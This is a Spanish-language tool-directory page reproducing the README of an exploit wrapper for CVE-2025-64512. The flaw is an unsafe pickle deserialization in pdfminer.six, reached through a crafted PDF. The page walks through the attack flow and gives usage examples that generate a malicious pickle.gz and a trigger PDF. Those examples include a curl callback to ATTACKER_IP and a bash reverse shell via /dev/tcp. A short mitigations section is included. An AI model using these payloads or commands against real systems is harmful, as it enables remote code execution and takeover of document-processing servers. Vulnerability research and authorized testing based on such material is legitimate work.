Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-64512 — Wrapper de CLI para el PoC de CVE-2025-64512 que genera payloads maliciosos en PDF y pickle.gz para explotar la deserialización insegura en pdfminer.six, permitiendo la ejecución remota de código mediante el procesamiento de PDFs manipulados. | Kitploit
Herramientas/GitHubGitHub/bardlaudian/cve-2025-64512
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubbardlaudian/cve-2025-64512

CVE-2025-64512

Wrapper de CLI para el PoC de CVE-2025-64512 que genera payloads maliciosos en PDF y pickle.gz para explotar la deserialización insegura en pdfminer.six, permitiendo la ejecución remota de código mediante el procesamiento de PDFs manipulados.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
116hace 7 díasAún no revisado
Compartir

CVE-2025-64512 — Deserialización insegura (Pickle) en pdfminer.six mediante un PDF manipulado

Python CVE Platform

⚠️ Aviso legal: Esta herramienta está destinada únicamente a fines educativos y pruebas de penetración autorizadas. Úsala solo contra sistemas que poseas o para los que tengas permiso escrito explícito para realizar pruebas. El uso no autorizado es ilegal.


Tabla de contenidos

  • Visión general
  • Detalles de la vulnerabilidad
  • Cómo funciona
  • Requisitos
  • Instalación
  • Uso
  • Ejemplos
  • Mitigaciones
  • Créditos
  • Referencias

Visión general

pdfminer.six es una biblioteca de Python ampliamente utilizada para extraer texto y metadatos de archivos PDF, habitualmente integrada en canalizaciones de procesamiento de documentos, herramientas CLI y flujos de ingesta de IA/datos. Las versiones afectadas cargan archivos de caché CMap (mapa de caracteres) para la compatibilidad con fuentes CJK mediante el módulo pickle de Python, sin validar que la ruta resuelta permanezca dentro del directorio de caché esperado.

Un PDF especialmente manipulado puede hacer referencia a una ruta controlada por el atacante para esta búsqueda de CMap. Si el atacante también puede colocar un archivo .pickle.gz malicioso en esa ruta resuelta (por ejemplo, mediante una función de carga de archivos en la misma ubicación), el procesamiento del PDF desencadena pickle.loads() sobre datos controlados por el atacante, lo que resulta en ejecución arbitraria de código. Este mecanismo exacto, incluida la estructura del PDF del PoC, fue documentado por mtolley en el aviso oficial.

Este repositorio contiene un pequeño envoltorio CLI alrededor de la prueba de concepto oficial publicada en el GitHub Security Advisory para CVE-2025-64512. No introduce ninguna técnica de explotación nueva: la plantilla de PDF malicioso está tomada casi literalmente del propio aviso; este script solo parametriza la ruta de destino, el comando a ejecutar y los nombres de archivo de salida para que el PoC sea más fácil de reutilizar.


Detalles de la vulnerabilidad

CampoValor
CVECVE-2025-64512
Afectadospdfminer.six ≤ 20250506 (también markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7)
TipoDeserialización insegura (CWE-502)
PrivilegiosNinguno (sin autenticación, si el procesamiento de PDF está expuesto)
ImpactoEjecución arbitraria de código
Parchepdfminer.six 20251107+

Cómo funciona

CMapDB._load_data() en pdfminer.six resuelve un nombre CMap —tomado de la entrada /Encoding de una fuente PDF— a una ruta de archivo, y lo carga con pickle.loads() si termina en .pickle.gz. La función no valida que la ruta resuelta permanezca dentro del directorio cmap/ propio de pdfminer.

Requisitos del ataque

  1. Un PDF desencadenante cuya fuente /Encoding haga referencia a una ruta elegida por el atacante (codificada en URL, / como #2F).
  2. Un archivo .pickle.gz malicioso presente en <esa ruta>.pickle.gz en el sistema de archivos de destino en el momento en que se procesa el PDF.

Normalmente, ambos archivos pueden entregarse a través del mismo canal de carga que finalmente procesa pdfminer.six (por ejemplo, una canalización de ingesta de documentos), siempre que las rutas resultantes en disco sean predecibles o descubribles.

Flujo del exploit

1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
   target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
   to process the trigger PDF
6. pickle.loads() executes the payload -> RCE

Requisitos

  • Python 3.8+ (solo biblioteca estándar: gzip, pickle, argparse)

No se necesitan dependencias de terceros para generar el payload. El objetivo debe tener un pdfminer.six vulnerable (o un proyecto que dependa de él) que realmente procese el PDF subido.


Instalación

git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512

Uso

usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     Output filename for the trigger PDF (default: trigger.pdf)
  --gz-out GZ_OUT       Output filename for the pickle.gz payload (default: payload.pickle.gz)
  --path PATH, -p PATH  Full path (without .pickle.gz) on the TARGET filesystem where the
                         pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        Command to execute on the target (default: id)

Ejemplos

Uso básico

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz

Esto produce:

  • payload.pickle.gz — súbelo primero, a .../uploads/payload.pickle.gz
  • trigger.pdf — súbelo en segundo lugar; una vez que el objetivo lo procese con pdfminer.six, el comando se ejecuta

Devolución de red (útil para confirmar RCE sin acceso al sistema de archivos)

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

Shell inversa

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

Mitigaciones

  • Actualiza pdfminer.six a 20251107 o posterior (o la versión parcheada de cualquier proyecto que lo incluya, p. ej. markitdown ≥ 0.1.4, pdfplumber ≥ 0.11.8).
  • Restringe/valida cualquier contenido subido por el usuario que termine procesado por pdfminer.six o por herramientas basadas en él.
  • Aísla las canalizaciones de procesamiento de PDF (contenedores, seccomp, sin red saliente) para que la RCE por unpickling tenga un radio de daño mínimo.
  • Supervisa procesos hijo inesperados generados por los servicios de procesamiento de documentos.

Créditos

  • Vulnerabilidad descubierta y reportada por: mtolley
  • Aviso publicado por: mantenedores de pdfminer.six (pietermarsman)
  • PoC original (plantilla de PDF malicioso): del aviso oficial de GitHub Security Advisory
  • Envoltorio CLI / parametrización: Bardlaudian — un envoltorio fino de conveniencia alrededor del PoC oficial, sin nueva técnica

Referencias

  • Aviso oficial de GitHub Security Advisory — GHSA-wf5f-4jwr-ppcp (fuente del PoC utilizado aquí)
  • Repositorio de pdfminer.six
  • Variante políglota de luigigubello (truco de un solo archivo PDF+pickle.gz, no utilizado en este repositorio)
Descargar herramienta